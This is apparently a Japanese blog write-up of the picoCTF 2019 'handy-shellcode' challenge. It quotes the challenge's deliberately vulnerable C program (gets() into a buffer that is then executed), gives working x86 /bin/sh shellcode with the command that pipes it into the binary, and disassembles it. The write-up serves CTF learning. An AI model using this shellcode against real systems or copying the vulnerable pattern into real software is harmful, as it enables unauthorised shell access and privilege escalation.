4
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

picoCTF 2019 handy-shellcode 解説

Last updated at Posted at 2019-11-05

pwnの初歩的問題です。概要は、悪意のあるシェルコードを埋め込んでシェルの権限を奪ってコマンドを実行することでフラグをゲットできるといったものです。

問題の考察

問題のディレクトリーに入ってみるとflag.txtが存在します。こちらに、フラグが書いてありそうですね。catコマンドで開いてフラグゲットですね・・・という訳にもいきませんよね。もちろん、権限が足りません。

valn1.PNG

ということで、vuln.cの中身を見てみましょう。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();


  puts("Finishing Executing Shellcode. Exiting now...");
  
  return 0;
}

このコードから以下のことが分かります。
① // Set the gid to the effective gid. this prevents /bin/sh from dropping the privileges というコメントから、このコードから/bin/shを呼び出せば、権限を持ってシェルを使うことができる
② gets関数から受け取った入力がbufに格納される
③ ((void (*)())buf)()よりbufを引数なしの関数の関数ポインタにキャストし即時実行する

解答

/bin/shを呼び出すことができるシェルコードを探します。サイトはここを利用しました。Intel x86から使えそうなシェルコードを探します。

valn2.PNG

以下が埋め込むシェルコードになります。

\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

あとは以下のようにすることでシェルを起動することができます。

(echo -e "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";cat) | ./vuln

cat flag.txtを入力しフラグをゲットしましょう。

valn3.PNG

なぜシェルが起動するのか

先ほどのシェルコードを逆アセンブルして内容を確認してみましょう。


echo -en "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" > tmp && objdump -M intel -D -b binary -m i386 tmp > asm.txt

   0:	31 c9                	xor    ecx,ecx    # ecxに0をセット
   2:	f7 e1                	mul    ecx        # eaxにecxをかけ、edx:eaxに0をセット  
   4:	b0 0b                	mov    al,0xb     # eaxの下位8ビットに0xbをセット
   6:	51                   	push   ecx        # ecxの値は0なので,ヌル文字を表している?
   7:	68 2f 2f 73 68       	push   0x68732f2f # asciiコードを文字に直すと //sh (リトルエンディアンであることに注意)
   c:	68 2f 62 69 6e       	push   0x6e69622f # asciiコードを文字に直すと /bin
  11:	89 e3                	mov    ebx,esp    # ebxにスタックに積んだ"/bin//sh\0\0\0\0"の先頭番地をセット
  13:	cd 80                	int    0x80       # 割り込み発生 eaxの値を見てシステムコールの種類を特定

int 0x80で割り込みを発生させたときに、eaxの値を確認してどのシステムコールを利用するか決めます。番号とシステムコールの対応は、/usr/include/asm/unistd_32.h で確認できます。

valn4.PNG

今回はeaxに0xbつまり10進数で11を入れているため、execveが呼び出されるということが分かります。
execveを呼び出すときの引数として、"/bin//sh\0\0\0\0"をスタックに積んでいます(なぜ/が1個多いかはよくわかりません・・バイト数合わせるため?)。execveでは第一引数に実行ファイルのパスを指定するため、シェルを起動することができます。

4
1
2

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?